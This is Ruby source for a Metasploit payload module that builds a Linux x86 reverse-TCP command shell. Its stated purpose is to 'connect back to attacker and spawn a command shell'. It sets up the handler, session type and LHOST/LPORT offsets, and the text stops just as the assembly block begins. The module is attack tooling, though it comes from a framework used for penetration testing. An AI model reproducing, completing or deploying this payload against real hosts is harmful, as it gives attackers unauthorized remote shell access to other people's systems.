## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'metasm' require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) # Remark: this function seems to be called a LOT, even before the shellcode is used. # We would better implement some caching. # We decoded skape's shellcode by using irb -r metasm-shell # and: puts shellcode.decode super(merge_info(info, 'Name' => 'Linux Command Shell, Reverse TCP Inline - Metasm Demo', 'Description' => 'Connect back to attacker and spawn a command shell', 'Author' => ['skape', 'Yoann Guillot', 'Julien Tinnes '], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, 'Session' => Msf::Sessions::CommandShellUnix, 'Payload' => { 'Offsets' => { 'LHOST' => [ 0, 'ADDR' ], 'LPORT' => [ 0, 'n' ], }, 'Assembly' => <